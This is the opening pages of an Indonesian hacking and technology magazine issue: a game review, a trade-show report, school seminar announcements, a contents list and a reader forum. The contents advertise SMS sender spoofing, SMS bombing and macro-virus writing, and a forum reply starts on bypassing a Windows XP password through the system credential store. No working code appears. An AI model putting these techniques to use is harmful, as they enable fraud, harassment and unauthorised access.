neotek vol. iv - no. 08

Upload: ma-rody-candera

Post on 29-May-2018

301 views

Category:

Documents


1 download

TRANSCRIPT

  • 8/9/2019 NeoTek Vol. IV - No. 08

    1/50

    ada ekspansi ini diperkenalkan enam bangsatambahan dalam game, empat campaign unik

    untuk permainan single player, serta jenis-jenis peme-rintahan. Selama bermain anda dapat melewati dela-pan jaman dalam sejarah, mulai dari jaman kunosampai abad informasi.

    Jenis-jenis NationKeenam bangsa (nation) tambahan yang disertakanadalah American, Lakota, Iroquouis, Persians, Indian,dan Dutch yang masing-masing mempunyai karak-teristik sendiri, seperti inovasi pada American dankecanggihan berekonomi pada Dutch.

    Jenis-jenis PemerintahanJenis pemerintahan memberikan kelebihan dalamhal militer maupun non-militer. Anda dapat mem-bentuk senat setelah anda mencapai abad klasikyang harus dibangun dalam batas kota.

    Despotism. Pemerintahan dikendalikan olehseorang tirani dengan kekuasaan absolut.

    Monarchy. Pemerintahan dikendalikan olehsuatu penguasa berdasarkan keturunan.

    Capitalism. Pemerintahan yang produksi dandistribusi barangnya ditentukan oleh kekuatanpasar.

    Socialism. Pemerintahan yang produksi dandistribusi barangnya dikendalikan olehpersamaan dan bukan oleh kekuatan pasar.

    Republic. Pemerintahan dikendalikan oleh wakil-wakil yang dipilih yang mungkin (mungkin jugatidak) mewakili kehendak rakyat.

    Democracy. Pemerintahan yang penguasanyadipilih oleh semua warga negara dan mewakili

    kehendak rakyat.Single User CampaignSelain Conquor the World Campaign yang baru,terdapat juga berbagai campaign berdasarkanskenario sejarah:

    Alexander the Great. Alexander the Great naiktahta setelah ayahnya dibunuh dan menemukandirinya dikelilingi oleh musuh.

    Napoleon. Tampilnya pemimpin muda di jamanPrancis yang bergolak setelah Revolusi.

    The New World. Benturan kebudayaan di DuniaBaru, antara orang Eropa menghadapi Indianserta bekas penguasanya, kerajaan-kerajaan diEropa.

    The Cold War. Kondisi yang terbentuk dari abusisa-sisa Perang Dunia II. Amerika Serikat dan UniSoviet berlomba menanamkan pengaruhnya disegenap penjuru dunia.

    Sistem Minimum

    Windows 98/ME/2000/XP, DirectX 8.1500 MHz Pentium III/Athlon128 MB RAM16 MB videocard750 MB hard disk spaceCD ROM drive 8xRetail version dari Rise of Nations

    PP

    Rise of Nations Expansion: Thrones and Patriots adalah ekspansi dari RTS game yang sudahsukses sebelumnya: Rise of Nations. Dengan game ini anda bereksplorasi dalam sejarah selamakurun waktu 6000 tahun, yang dalam waktu itu suatu bangsa membentuk angkatan bersenjata

    yang tangguh, ekonomi yang kuat, serta menjalankan seni diplomasi yang tinggi.

    Rise of NationsRise of NationsExpansion: TExpansion: Thrones and Phrones and Patriotsatriots

    NeoSoft

  • 8/9/2019 NeoTek Vol. IV - No. 08

    2/50

    Vol. IV No. 08 NeoTek 1

    HomePage

    NNEOEOTETEKKDunia Teknologi Baru

    Harga NeoTek + CD:Rp20.000,- (P. Jawa)Rp22.000,- (Luar P. Jawa)

    Salam!Salam!

    onsel sudah menjadi kebutuhan sehari-hari,dan lebih

    banyak orang memiliki ponsel dibandingkan komputer.Ponsel mempunyai kemampuan transmisi data digitalseperti halnya SMS, serta koneksi ke internet lewat CSD atau-pun GPRS.Kelebihan dan kenyamanan ini juga yang akhirnya membawarisiko dalam pemakaian ponsel. Ponsel anda dapat dihujani SMStidak diundang seperti layaknya spam pada email, data anda bisadicuri, serta kini sudah ada virus yang beraksi pada ponsel.Kenali rahasia ponsel anda,khususnya untuk perlindungan dirisendiri dari para cracker yang bermaksud jahat.

    [email protected]

    Utak-atik PUtak-atik Ponsel:onsel:SMS dan GSMS dan GSM HackingSM Hacking

    PP

    Anak-anak pun kini sudah mainan ponsel, terutama untuk meyakinkan orang tuatertang keberadaan anaknya. Artinya anak-anak kini sudah melek teknologi sejak dini.

    Bagaimana menghubungi NNEEOOTEK?TEK?KONTRIBUSI [email protected]

    SURAT [email protected]

    [email protected]

    PEMASARAN

    Hedhi Sabaruddin, 0812-1891827CHATROOM DI DALNET#neoteker

    ADMINISTRASI IKLANTel. 021-5481457 Fax. 021-5329041

    SIRKULASI NEOTEKTel. 021-5481457

    ALAMAT REDAKSI4 Cairnhill Rise#05-01 The CairnhillSingapore 229740Telp. +65-67386482email: [email protected]

    MILIS PARA NEOTEKERhttp://groups.yahoo.com/group/majalahneotek

    Footprinting

    Scanning

    Enumeration

    Gaining Access

    EscalatingPrivilege

    Pilfering

    Covering Tracks

    CreatingBackdoors

    Denial ofServiceAn

    atomisuatuserangan

    hacking

    An

    atomisuat

    userangan

    hacking

    Lengkapi pengetahuan hackingdan PC security anda denganberlangganan majalah NeoTek:

    HubungiKRISHNAdiSTRIBUTORTel. (021) 5835 0080HP. (0816) 1187 111 (Boedi)

    email:[email protected]: Boedi Krishnadi

  • 8/9/2019 NeoTek Vol. IV - No. 08

    3/50

    2 NeoTek Vol. IV No. 08

    Daftar Isi

    Daftar IsiDaftar Isi

    NeoTNeoTek Vek Vol. Iol. IV No. 8V No. 8

    Situs NeoTekwww.neotek.co.id

    Jadikan situs NeoTek sebagai pangkalan Anda berselancar

    Link LangsungKunjungi situs-situs yang dibahas di

    majalah NeoTek dengan sekali kliklewat situs NeoTek.

    NeoTek versi PDFKehabisan NeoTek di kota Anda?Dapatkan saja versi PDF-nya. Gratis!

    Download

    Tersedia juga download di situsNeoTek selain dari situs aslinya

    Layanan Rupa-rupa NeoTekChannel #neoteker di DalnetNgobrol ramai-ramai sesama NeoTeker

    Web Chat RoomKini tidak usah jauh-jauh untuk ngobrollangsung dengan sesama NeoTeker

    Mailing ListIni yang paling ramai. Segera ikutan

    berbagi pengalaman berinternet!

    NeoTeker Official Portalhttp://www.neoteker.or.idSitus komunikasi antar Neoteker.

    Neoteker Internet Radiohttp://dj.neoteker.or.id:8000

    NeoStartNeoStartSMS Gratis Y!

    Asalkan punya akses Internet,maka kirim SMS bisa gratis, meman-faatkan fasilitas Yahoo! Messenger.

    9

    Menguak Rahasia Ponsel

    Kenali ponsel anda sebagaisuatu modem dan pelajari bahasakomunikasi modem yang universal inilewat PC anda sendiri.

    10

    SMS, PDU, AT CommandBagaimana hubungan antara

    SMS, format teks dan PDU, serta AT

    command yang lazim pada modem?

    Inilah dasar dari SMS Hacking.

    12

    SMS Fake SenderTeknik mengelabui penerima

    SMS yang dapat disalahgunakan untukmenipu ataupun intimidasi.

    18

    Mengenal SMS CenterArtikel pelengkap bahasan SMS

    Hacking. Perlu apabila anda bermkinatbelajar lebih lanjut.

    24

    SMS BombingKalau pada network hacking

    ada Denial of Service, maka pada GSMada SMS bombing!

    20

    Windows Media ServerBandingkan dengan Darwin

    Streaming Server yang dibahas sebe-lumnya untuk Radio dan TV Internet.

    26

    Efek Blur pada FotoJuga artikel Photoshop untuk

    membuat gambar statis tampak dina-mis dengan efek blur.

    47

    Efek Square denganFungsi Pattern

    Fitur lain untuk diterapkan pada fotoanda menggunakan Photoshop.

    46

    Photoshop: EfekLine dengan PatternMelanjutkan bahasan Photoshopdalam memberi efek pada foto anda.

    45

    Windows MediaEncoder

    Fasilitas Radio dan TV Internet yanggratis dari Microsoft. Instalasi dan pe-makaiannya sangat mudah.

    29Format Data SMSKita dalami lebih lanjut for-

    mat data SMS dan kenali bagaimanasuatu SMS dikirim dan diterima dipihak terkirim.

    16

    FOKUS VOL. IV NO. 8FOKUS VOL. IV NO. 8

    MENGUAK RAHASIA PONSEL

    SMS dan GSM Hacking

    MENGUAK RAHASIA PONSEL

    SMS dan GSM Hacking

    NeoStyleNeoStyle

  • 8/9/2019 NeoTek Vol. IV - No. 08

    4/50

    NeoProfil

    NeoTek Vol. IV No. 09

    Bahaya Email dan SpamSpam atau email tidak diundang se-

    karang ini sudah meraja-lela dan men-jadi masalah kelas dunia. Tetapi selainmenjengkelkan spam juga dapatmembawa bahaya yang bukan sajaterhadap kesehatan komputer anda(virus lewat email) tetapi juga bahayaterhadap keuangan anda (phising),dan bahkan bahaya terhadap jiwaanda (nigerian mail).

    Linux Computer ForensicsMelanjutkan bahasan computerforensics secara umum, kali ini

    NeoTek membahas tata laksanacomputer forensics pada Linux.

    Throne and Patriots

    0

    Editorial Office4 Cairnhill Rise#05-01 The CairnhillSingapore 229740

    Telp. +65-67386482

    Business OfficeGedung Cahaya Palmerah 503

    Jl. Palmerah Utara III No. 9Jakarta 11480Telp. 021-5481457Fax. 021-5329041

    BankBank BNIa.n. PT NeoTek Maju MandiriNo. rekening 070.001709720.001

    Bank BCA Matraman(khusus untuk langganan)

    a.n. Boedi KrishnadiNo. rekening 342-239-1611

    Pemimpin UmumFachri Said

    Pemimpin RedaksiKosasih Iskandarsjah

    Redaktur AhliOnno W. PurboMichael S. Sunggiardi

    Pemimpin UsahaFahmi OemarDadang Krisdayadi

    Redaktur PelaksanaMA Rody Candera

    Sekretaris RedaksiMarni

    WebmasterSupriyanto

    SirkulasiHedhi Sabaruddin

    Adm. LanggananKRISHNAdiSTRIBUTOR

    Iklan dan PromosiDwi Hastono, G. Widianto

    KeuanganAswan Bakri

    3

    4

    5

    6

    7

    Melanjutkan keberhasilanRise of Nations dengantambahan peradaban dan

    skenario sejarah.

    Klak Klik

    Game:Rise of Nations Expansion

    Thrones and PatriotsTaipei Computer Show

    29 Juli - 2 Agustus 2004

    Taipei Computer Show29 Juli - 2 Agustus 2004

    NeoTek masuk sekolah

    Kualitas Pendidikan:Mulai dari Sekolah Dasar

    Daftar Isi CD NeoTek

    Perl sebagai tool untuk SMSdan GSM Hacking

    NeoRagam

    Vol. IV No. 08 NeoTek 3

    NeoTNeoTeknoekno

    Virus dan WormPahami perkembangan virus

    dan worm dari sejarahnya, sejarahkreativitas yang tidak terarah sehinggamenjadi tindakan yang dikategorikankriminal oleh para korban, namunbukan demikian dari sudut pandangkebebasan berkreasi.

    32

    Internet Paket Radio:Instalasi Gateway diLinux

    Onno W. Purbo berbagi ilmu simpan-annya yaitu bagaimana berinternetwalaupun sarana telepon tidak ter-

    sedia. Bukan menggunakan wi-fi yang

    selama ini dipromosikannya, melain-kan ilmu yang lebih kuno yaitumemanfaatkan radio amatir untuk berinternet. Koneksinarrow bandbuatan sendiri ini sudah lumayanuntuk email dan browsing sederhana

    40

    Membuat SendiriVirus Macro

    Macro pada Microsoft Word pada da-sarnya adalah bahasa pemrogramanVisual Basic, jadi tidak heran apabilavirus pun dapat dibentuk dari macro.

    35

    Membuat PenangkalVirus Macro

    Jangan cuma bisa merusak saja dengan

    membuat virus macro. Justru pengeta-huan yang sama dapat digunakan

    untuk penangkal virus macro. Jadi

    tinggal anda sendiri yang memilih mau

    berdiri di sisi mana. Sisiblack hat atau

    sisiwhite hat. Ilmu security dan hacking

    pada dasarnya netral saja.

    38

    Daftar Isi

  • 8/9/2019 NeoTek Vol. IV - No. 08

    5/50

    4

    NeoRagam

    GAME BULAN INI

    Rise of NationsThrones and Patriots

    98,85 MB

    erupakan ekspansidari RTS game sebe-

    lumnya dari Microsoft: Riseof Nations, Thrones andPatriots menyediakanenam macam tambahanperadaban, lebih dari 20unit baru, wonder, sertajenis-jenis pemerintahan.

    Untuk single player ter-dapat berbagai campaignyang membuatnya miripgame sebelumnya dariMicrosoft, Age of Empire.

    Campaign yang disediakandi antaranya:

    Alexander the Great (adapada Trial Version)

    The New World

    Napoleon

    The Cold War

    Win 98/ME/2000/XP, DirectX 8.1500 MHz Pentium III/Athlon128 MB RAM16 MB videocard750 MB hard disk space8x CD ROM drive

    Retail version Rise of Nations

    Klak Klik

    NeoTek Vol. IV No. 08

    M

    ari pertama NeoTekdi Taipei diawali de-

    ngan insiden kecil yanghampir saja mengakibatkansopir taksi yang ditum-pangi oleh NeoTek bakuhantam dengan sopir bus.Mungkin perilaku jelekyang ditiru oleh para ang-gota parlemen.

    NeoTek berkesempatanmengunjungi TaipeiComputer Show pada harikedua dengan membayartiket masuk sebesar NT$200 (sekitar Rp50.000, sua-tu jumlah yang besar di-banding dengan ukuran kitayang selalu gratis.

    Consumer Multimedia

    Yang medominasi pamerankali ini adalah segala halyang berhubungan denganmultimedia konsumen,mulai dari portable musicplayer, digital camera, digi-tal video camera, sampaidigital storage dan player.

    Kini sudah tidak asing lagimelihat deretan produkyang dulu dikategorikansebagai barang elektro-nika rumah tangga cameradalam pameran komputer.Memang kita belumsampai melihat kulkas dan

    AC di pameran komputer,tetapi siapa tahu kelak?

    Produk Bisnis

    Software bisnis yang sedangtrend adalah aplikasi bisnismenggunakan web, khusus-nya ERP on the Web, suatutrend yang ditimbulkan darisemakin meluasnya broad-band dan semakin matang-nya teknologi enkripsi. Lagipula Microsoft kini sedangmengobral program sertifi-

    kasinya dengan mendanaipanel evaluator terhadap soft-ware yang memohon serti-fikasi dari Microsoft.

    Produk Khusus

    Yang justru menarik untukdisimak adalah produk-produk khusus yang hanyaada di beberapa stand saja,seperti desktop computerdengan micfro form factor(harga antara NT$6.888sampai NT$39.999) atauperalatan riset yang meng-

    gabungkan mikroskopdengan komputer.

    Atmosfer Pameran

    Khas pameran di Taipeiadalah gadis-gadis sexyyang membagi-bagikanhadiah dan membawakankuis, selain promosi ber-jalan membawa poster se-perti layaknya sedangdemo politik.

    TAIPEI COMPUTER SHOW 29 JULI - 2 AGUSTUS 2004

    H

    Pameran diselenggarakan di World Trade Center Taipei, di sebelahTaipei 101, yang akan menjadi gedung tertinggi di dunia. Untuk ma-

    suk ke pameran, anda harus membeli tiket senilai NT$200 (sekitarRp50.000,-)

    Komputer dengan micro formfactor dan stand Pentax dengan

    gadis-gadis sexy-nya yang mem-bawakan quiz serta obralsouvenir.

  • 8/9/2019 NeoTek Vol. IV - No. 08

    6/50

    Vol. IV No. 08 NeoTek 5

    NeoRagam

    emang Taiwan adalahpusatnya industri me-

    nengah elektronika. Banyaksekali merk dan produk yangtidak banyak kita kenal diIndonesia maupun Singa-pore yang menjadi daya ta-rik sendiri pada Taipei Com-puter Show.

    Camcorder Murah Meriah

    Sudah bukan rahasia lagi ka-lau shooting video menjadihobby baru banyak orangsejalan dengan fotografi. Inisemua dengan semakin ter-jangkaunya kamera maupunmedia penyimpanannya.

    Semurah-murahnya cam-corder digital, paling tidakmasih sekitar 4 juta rupiah(model Canon GR-D33dengan media MiniDV),tetapi kini video cameradapat juga menggunakanSD card sepert halnyaMicrotek MV300 yangdiberi banderol NT$6990(sekitar 1,8 juta rupiah).

    Memang resolusinya ma-sih agak rendah (0,6 mega-pixel) dibandingkan cam-corder MiniDV yang pa-ling murah sekalipun yangsudah 0,8 megapixel.

    NeoTek malah tertarik de-ngan micro DVD playeryang diberi harga yangsama. Lumayan untuk hi-buran selama di perjalanan.

    Digital AlbumTranscend yang dikenal de-ngan produk-produk me-mory-nya (RAM chip,Flash drive, USB externalhard disk, maupun cardreader) membawakan ber-bagai portable storage un-tuk digital fotografi, yangukurannya semakin kecilnamun kapasitas yang se-makin besar.

    Multimedia Projector

    Yang juga akan semakinramai adalah multimediaprojector yang dulu hanyamampu dimiliki oleh per-

    usahaan-perusahaan besar.Multimedia projector de-ngan teknologi DLP di-arahkan ke pasar rumahtangga dan keseimbanganharga yang akan dicapaikelihatannya sekitar 8 jutarupiah.Untuk kelas bisnis

    tentu masih ada yangharganya dua atau tiga kaliharga rumah tangga.

    ntuk memahami NeoTekmemang diperlukan

    bimbingaa. Membacanya tanpabimbingan hanya akan meng-akibatkan kebingungan.

    Pendidikan Konsumen

    NeoTek bekerja sama dengan

    toko-toko buku Gramedia se-cara reguler mengadakan se-minar gratis di berbagai lokasitoko buku Gramedia, yanguntuk pertama kali ini di wi-layah Jabotabek.

    Program pendidikan konsu-men ini akan bermuara padasemakin banyaknya yang di-bekali dasar-dasar security andhacking agar dapat memahamiapa yang dibahas NeoTek, ser-ta dapat mengembangkansendiri pengetahuannya darisumber-sumber lain.

    Jadi sering-sering lihat jadwaldi toko buku Gramedia terdekat.

    NeoTek Masuk Sekolah

    Mengingat umur potensialuntuk belajar security danhacking adalah masa remajamaka NeoTek juga akan me-ngembangkan seminar gratiske sekolah-sekolah, khusus-nya SMU, SMK, dan SLTP

    Diharapkan dari bingungpara remaja ini akan terangwawasannya mengenai apa itusecurity dan hacking, sertamendapatkan pemahamanyang benar perbedaan antarakreatif dengan sedikit nakaldibandingkan cyber crime.

    Para pelajar diharapkan akanmenjadi bagian dari masyara-kat produktif dan bukan seke-dar bagian dari masyarakatpengkonsumsi teknologi.

    Penawaran Khusus

    Mengingat terbatasnya dayabeli para pelajar, maka agar

    pengetahuan hacking dansecurity dapat tersebar luas,maka NeoTek selain tetap me-nyediakan keseluruhanmajalah dalam format PDF disitus www.neotek.co.id (hanyadisediakan terlambat 2 bulan),juga akan menawarkan harga

    khusus untuk para pelajar yangberlangganan lewat sekolah.

    Selain tanpa dibebani ongkoskirim, harga berlanggananlewat sekolah akan jauh lebihmurah. Diperkirakan hanyaRp15.000,- dibandingkan har-ga di toko buku yang Rp20.000,-

    Tentunya harus dijaminbahwa NeoTek harga khususini jatuh langsung ke tangankonsumen langsung agartidak mengganggu pasaranumum di toko buku.

    Selain itu, secara berkala akandiadakan seminar gratis dilingkungan sekolah yang para

    pelajarnya berlangganan NeoTek.Jadi selain lebih murah dantanpa ongkos kirim, dibahasjuga cara memahami artikelyang ditulis di NeoTek.

    Pada awalnya tim redaksiNeoTek yang akan menjadipembicara, namun selanjut-

    nya para pelajar itu sendiriyang akan menjadi pembicarauntuk kawan-kawannyasebagai laporan kegiatan studisecurity dan hacking yangdiadakannya sendiri.

    Hacking bukan lagi jadi katamisterius.

    Sekolah anda berminat dili-batkan dalam kegiatan semi-nar gratis ini? Para guru, ke-pala sekolah, maupun OSIS,silakan hubungi MA RodyCandera lewat email:

    [email protected] ketemu di sekolah!

    TAIPEI COMPUTER SHOW 29 JULI - 2 AGUSTUS 2004

    NEOTEK MASUK SEKOLAH

    M

    U

    Microtek Portable DVD Player dan Microtek Video Camera Recorderdengan media penyimpanan SD card.

  • 8/9/2019 NeoTek Vol. IV - No. 08

    7/50

    6 NeoTek Vol. IV No. 07

    NeoRagam

    pabila NeoTek masuk kesekolah-sekolah mene-

    ngah dan kampus untuk mening-katkan mutu pelajar dan maha-siswa dalam hal teknologi infor-masi serta membentuk sikap

    kreatif dan bertanggung jawab(walau sedikit nakal),maka lainhalnya dengan sekolah dasar.

    Membahas security dan hackingmungkin masih terlalu awal un-tuk para siswa sekolah dasar.Untuk itulah rekanan NeoTekdi Surabaya menyediakan jasakonsultasi pendidikan untuksekolah-sekolah dasar yangmencakup peningkatan kuali-fikasi guru serta menyediakankegiatan bermanfaat untuk parasiswa dalam bidang bahasa,senibudaya,maupun teknologi.

    Peningkatan BahasaPara siswa diberikan pelatihansingkat jurnalistik yang dibe-rikan oleh para wartawan na-sional dan selanjutnya kete-rampilan baru ini diasah olehpara anak didik lewat majalahsekolah yang dibantu mana-jemen pendidikannya.

    Peningkatan Seni Budaya

    Sementara ini peningkatanseni budaya dilakukan lewataplikasi teknologi sesuaidengan potensi daerah, yaitu

    membuat kertas seni daribahan-bahan yang ada.

    Hasil karya anak-anak inimalah sudah diincar parapengusaha produk seni darimancanegara, khususnyaAustralia.

    Peningkatan Teknologi

    Salah satu kelemahan dari

    maraknya pemakaian kompu-ter sejak usia dini adalah nya-ris tidak adanya perhatianterhadap elektronika sertaselanjutnya mikrokontrolerdan mikroprosesor yang me-

    rupakan latar belakang tekno-logi hardware komputer.

    Kini sudah tidak ada majalahdalam Bahasa Indonesia yangkhusus membahas elektronikaseperti yang ada sekitar 20tahun yang lalu.

    Untuk mengisi kekosongan ini,dibawakan kit elektronikatanpa solder dan dasar-dasarrobotika.

    Aspek teknologi lain yangjuga dibahas adalah ilmukelautan dan dirgantara yang

    diwujudkan dalam kegiatanmembuat model.

    Kit Elektronika Tanpa Solder

    Teknologi pendidikan ini me-mungkinkan siswa SekolahDasar merakit rangkaian elek-tronika tanpa takut terluka.Hal ini dimungkinkan denganpenggunaan spiral baja seba-gai pengganti timah solder.

    Bisa dibayangkan kalau spiralbaja ini lebih mahal dibandingkomponen elektronikanyasendiri, tetapi kit-kit elektro-nika ini semuanya dapat di-bongkar pasang dan dipakaiberkali-kali, cocok untuk labo-ratorium elektronika anak-anak.

    Robotika Dasar

    Suatu robotpada dasarnyamemiliki

    sensor, otakberupa

    mikrokontroler yang dapatmemproses data dan mengambiltindakan sendiri yang dikerjakanoleh bagian mekaniknya.

    Kit robotika sudah lazim untukanak-anak SD dan SLTP, diantaranya dari produsen mainanterkemuka di dunia, Lego yangmenyajikan Lego Mindstorm.

    Sayang Lego Mindstrom masihterlalu mahal,dan untuk itulahdisediakan kit robotika yang

    walau murah-meriah, tetapmempunyai fungsi-fungsi se-bagai mana disediakan olehLego Minstrom.

    Kelautan dan Dirgantara

    Membuat model kapal laut sertaaeromodelling adalah dasarmemahami konsep fluida (airmaupun udara) serta penerapanteknologi terhadap fluida (yaitu

    kapal laut dan pesawat udara).

    Model yang presisi secara pro-porsional sangat penting dalammempelajari ilmu-ilmu inidengan benar, dan itulah yangdisediakan.

    Berminat?

    Sekolah anda berminat untukmengikuti program pengayaankurikulum seperti yang telahdiikuti oleh lima sekolah dasardi Surabaya ini?

    Hubungi:

    GIGAup. Tatik HandayaniTelp. (031)8052248HP. (817)9972742email: [email protected]

    NeoTekup MA Rody CanderaTelp. (021)8730389HP. (0812)8049030email:[email protected]

    KUALITAS PENDIDIKAN: MULAI DARI SEKOLAH DASAR

    A

    Kunjungiwww.sdnpuja2.netuntuk melihat situs dari SD diSurabaya yang sudah mengikuti program pengayaan kurikulum

    Seperti inilah model kapal laut Titanic yang dibentuk secara ber-kelompok oleh para siswa SD yang belajar ilmu kelautan

    Kit elektronika tanpa solder yang cocok untuk siswa SD. Belajarelektronika dengan aman.

  • 8/9/2019 NeoTek Vol. IV - No. 08

    8/50

    Vol. IV No. 07 NeoTek 7

    NeoRagam

    PERL SEBAGAI TOOL UNTUK SMS DAN GSM HACKING

    daftar isi cd neotekdaftar isi cd neotek

    YAHOO! MESSENGERYM 6 Windows msgr6suite.exeYM Debian Linux ymessenger_1.0.4_1_i386.debYM RedHat 6.x rh6.ymessenger-1.0.4-1.i386.rpmYM RedHat 7.x rh7.ymessenger-1.0.4-1.i386.rpmYM RedHat 8.0 rh8.ymessenger-1.0.4-1.i386.rpm

    YM RedHat 9.0 rh9.ymessenger-1.0.4-1.i386.rpmYM FreeBSD fbsd4.ymessenger.tgzYM MacOS 8.9 ymsgr_2.5.3-ppc_install.binYM MacOSX ymsgr_2.5.3-osx_install.binYM Palm OS messenger.zipYM Poxket PC ymsgr-ppc.exe

    PDU DAN AT COMMANDSPDU Spy pduspy.zipTelix for Windows tfw115d1.zip (disk 1)

    tfw115d2.zip (disk 2)Telix for DOS telix351.zip

    telix351-h.zipMinicom Debian minicom_2[1].1-4.woody.1_i386.debMinicom RedHat source minicom_2[1].1-1.srcMinicom RedHat 7.3 minicom_2[1].1-1-rh7.3-i.386.rpmMinicom RedHat 8.0 minicom_2[1].1-1-rh8.0-i.386.rpmMinicom Redhat 9 minicom_2[1].1-1-rh9-i.386.rpm

    DADAS PERL LAB (WINDOWS)Perl Win32 API Win32-API-0.31.tar.gzPerl Win32 Clipboard Win32-Clipboard-0.51.tar.gzPerl Win32 Console W32Console-0.03.zipPerl Win32 GUI Win32-GUI-0.0.665.tar.gzPerl Win32 Internet Win32Internet-0.08.zipPerl Win32 Shortcut Win32Shortcut-0.03.zipPerl Win32 Sound W32Sound-0.45.zip

    ACTIVE PERLActive Perl Windows Exe ActivePerl-5.4.8.810-MSWin32-x86.exeActive Perl Windows Zip ActivePerl-5.4.8.810-MSWin32-x86.zipActive Perl RedHat ActivePerl-5.4.8.810-i686-linux.rpmActive Perl Debian ActivePerl-5.4.8.810-i686-linux.debActive Perl Linux ActivePerl-5.4.8.810-i686-linux.tar.gz

    SMS FAKE SENDER

    Bigfoot Comm. Manager 2.0 setup.exeSMS Xtender Java SMSXtender-2.6.2.zipSMS Xtender Symbian OS smsxtender-3.1.sisKIOSS S MSMe!!! setup.KIOSS-SMS.Me!!!.exe

    GRAPHICSAdobe Photoshop CS setup.exeAdobe Photoshop Album 2 SE psa2se_us.zipPhotoStation 4.5 Trial FotoStation45WinInt.exe

    WINDOWS MEDIA PLAYERPersonal License Update drmwizard.exeWMPlayer 9 Win98SEME2K MPSetup.exeWMPlayer 9 XP MPSetupXP.exeWMPlayer 10 XP beta MP10Setup.exeWMPlayer 6.4 Win95NT mpfull.exeWMPlayer 7.1 Win98 mp71.exeWMPlayer Plugin Netscape wmpplugin.exe

    WINDOWS MEDIA ENCODERWMAudio 9 Lossless PCM wmal2pcm_setup.exeWMAudio 9 ProfChanMask wmcmesetup.exeWMCapture 9 Series wm9capture_setup.exeWMEncoder 7.1 wmencoder71.exeWMEncoder 9 WMEncoder.exeWMEncoding 8 Utility wm8eutil_setup.exeWMMono to Multichannel wavavimux_setup.exeWINDOWS MEDIA SERVERWMLoad Service wmloadsetup.exeWMService 4.1 Addin wmsaddin.exeWMService 4.1 for NT 4.0 wmserver.exe

    PROYEKPerl scripts email2sms.pl

    google.plsakjebole.plviewsource.plyepcell.pl

    Virus makro lampiran code virus macro.txtPenangkal virus makro Penangkal virus macro.txtUser form penangkal v. makro User form penangkal virus macro.txt

    INTERNET RADIO: LINUX PACKET ENGINE

    AX25 Projects libax25-o.o.11.tar.gzax25-tools-0.0.8.tar.gzax25-apps-0.0.6.tar.gz

    AX25 Utilities ax25-utils-2.1.42a-3.i386.rpmax25-utils-2.1.42a-3.src

    INTERNET RADIO: WINDOWS PACKET ENGINEAGW Packet Engine agwdial.zip

    agwpe.zipdrivers.ziptcpip.zip

    AGW Tracker tracker_setup.ziptracker_update.zip

    Packet Engine Pro pepro_setup.zippepro_update.zippehelp.zip

    AGW BBS agwbbs.zip

    AGW Cluster agwclust.zipAGW Monitor agwmonitor.zipagwmonitorTcp.zip

    AGW Term agwterm.zipagwtermTcp.zip

    APRS Digi agwuidigi.zipDigipeater agwdigi.zipDigiplex digplxo73.exeTf2AGW tf2agw18.zipUtilities agwgmt.zip

    develop.zipLoopbackInstaller.zipntautologon.zipW95ws2setup.exe

    GAMERise of Nations Expansion RiseOfNationsXTrial.exe

    ahasan utama NeoTek kali ini, SMSdan GSM Hacking banyak menggu-

    nakan Perl interpreter. Untuk itu pada CDNeoTek kali ini disediakan Active Perl,baikuntuk sistem operasi Windows maupunLinux.

    Memanfaatkan handphone sebagai modemmengharuskan adanya pemahaman terha-dap memahami AT commands. Untuk ituselain dapat menggunakan hyper terminalyang sudah built-in pada Windows dapatjuga digunakan Telix (Windows atau DOS)

    ataupun minicom (untuk berbagai versiUnix dan Linux).

    SMS dapat dikirim dalam format teks atau-pun format PDU. Konversi PDU ke teksatau sebaliknya dapat menggunakan soft-ware khusus, yaitu PDU Spy.

    Radio dan TV Internet

    Melanjutkan bahasan sebelumnya tentangRadio dan TV Internet, kali ini dibahasWindows Media Encoder dan WindowsMedia Server

    Graphics

    Telaah PhotoStation 4.5 yang banyakdigunakan oleh media massa dunia.Suatu

    katalog software yang memungkinkan andamenyertakan informasi mengenai fotoyang anda ambil ke dalamnya.

    Untuk keperluan yang lebih sederhana da-pat gunakan Adobe Photoshop Album 2 SE,sedangkan untuk editing foto, silakan cobaAdobe Photoshop CS.

    Internet Radio Paket

    Terakhir, ikuti bahasan Onno W. Purbotentang menyelenggarakan akses internetmelalui radio amatir. Software-nya baik

    untuk Linux maupun Windows tersediadalam CD NeoTek kali ini.

    B

  • 8/9/2019 NeoTek Vol. IV - No. 08

    9/50

    8 NeoTek Vol. IV No. 08

    Inbox

    Forum ini dimaksudkan sebagai bentukoffline darimailing listNeoTek di http://groups.yahoo.com/group/majalahneotek.

    NmNNmNNeoteker menjawab Neoteker

    T: Posted April 29

    Gimana ya cara ngilangin vi-rus di floppy, setiap mema-sukkan disket yang baru lang-sung kena virus, dan virus-nya itu MY LOVE extentionword, tidak bisa di delete, se-tiap di del maka virus itu pastikembali lagi, anti virus pccilin tidak menetek, gimanaya caranya?

    Gigik [email protected]

    J: Posted April 29

    Ini virus lama, menjangkitisetiap disket yg dimasukkanke floppy, tetapi bisa jugamenjangkiti direktori C:\MyDocuments. Virus ini akanmembuat file yg pertamadengan nama "My Heart"di disket ketika dimasukkanke floppy, file tersebut meng-gunakan icon "MS Word"padahal sebenarnya itubukan file "*.doc" dimanasesungguhnya file tersebutbekstensi "*.exe"Jika disket yg sama dimasuk-kan berulang-ulang, makafile tersebut akan berubah-ubah namanya. Untuk me-ngatasinya (ini cara kuno se-moga membantu):1. Bunuh (delete). Perhatikandi direktory"C:\Windows\System"temukan file dengan nama

    "SysTask". Sesungguhnyaitu bukan file bawaan win-dows, virus ini mencoba me-nipu anda.File tersebut meng-gunakan icon MS Word te-tapi sebenarnya berekstensi*.exe

    2. Jika ternyata tidak dapatdi delete, restart komputerdengan opsi "Restart in MSDOS Mode". di Dos, masukke direktoriC:\Windows\Systemkemudian ketik => del

    systask.exe3. Sampe disini, ketik => exit

    4. Silakan coba masukkandisket baru (jgn disket ygudah kena virus), cek danricek apakah masih terjadipembentukan file virusnya?

    [email protected]

    T: Posted May 11

    salam, apa ada cara untukmengetahui password di

    windows xp?? teman sayakelupaan passwordnya, seka-rang nggak bisa masuk win-dows... :))) tolong dong kaloada yang tau caranya..makasih.

    Don [email protected]

    J: Posted May 11

    DC> salam,DC> apa ada cara untuk me-ngetahui password di windowsxp?? teman

    DC> saya kelupaan password-nya, sekarang nggak bisa ma-suk windows...DC> :)))DC> tolong dong kalo adayang tau caranya..DC> makasih.

    Anda memakai system par-tisi apa? NTFS atau FAT32?Kalo make FAT32, boot kom-puter anda dari FDD atauCDROM dengan boot 98dan masuk keC:\WINNT\system32\config

